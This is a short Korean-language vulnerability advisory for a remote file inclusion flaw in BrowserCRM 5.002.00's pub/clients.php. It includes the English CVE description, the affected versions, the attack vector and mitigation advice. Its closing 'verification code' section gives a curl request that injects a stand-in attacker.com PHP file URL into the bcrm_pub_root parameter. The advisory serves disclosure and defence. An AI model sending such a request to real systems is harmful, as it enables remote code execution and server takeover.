🇰🇷 한글 설명
BrowserCRM 5.002.00의 pub/clients.php에 존재하는 원격 파일 포함(RFI) 취약점으로, bcrm_pub_root 매개변수를 통해 공격자가 원격 서버의 악성 PHP 파일을 포함시킬 수 있습니다. 이를 악용하면 웹 서버 권한으로 임의의 PHP 코드 실행이 가능해 시스템 전체가 장악될 수 있습니다.
💡 쉬운 설명
웹사이트의 파일 읽기 기능을 악용해 공격자가 자신의 악성 코드를 서버에서 실행시킬 수 있는 심각한 결함입니다. 이를 통해 해커가 서버를 완전히 제어할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in pub/clients.php in BrowserCRM 5.002.00 allows remote attackers to execute arbitrary PHP code via a URL in the bcrm_pub_root parameter.
📍 영향받는 시스템
BrowserCRM 5.002.00 및 이전 버전
⚔️ 공격 벡터
bcrm_pub_root 파라미터에 원격 파일 URL을 삽입하여 pub/clients.php 접근
🛡️ 대응 방법
BrowserCRM을 최신 버전으로 업그레이드하거나 PHP.ini에서 allow_url_include를 Off로 설정
🔧 검증 코드
응답에 공격자 서버의 파일 내용이 포함되거나 PHP 코드 실행 결과가 보이면 취약점 존재
curl -s 'http://target/pub/clients.php?bcrm_pub_root=http://attacker.com/test.php' 2>&1 | head -20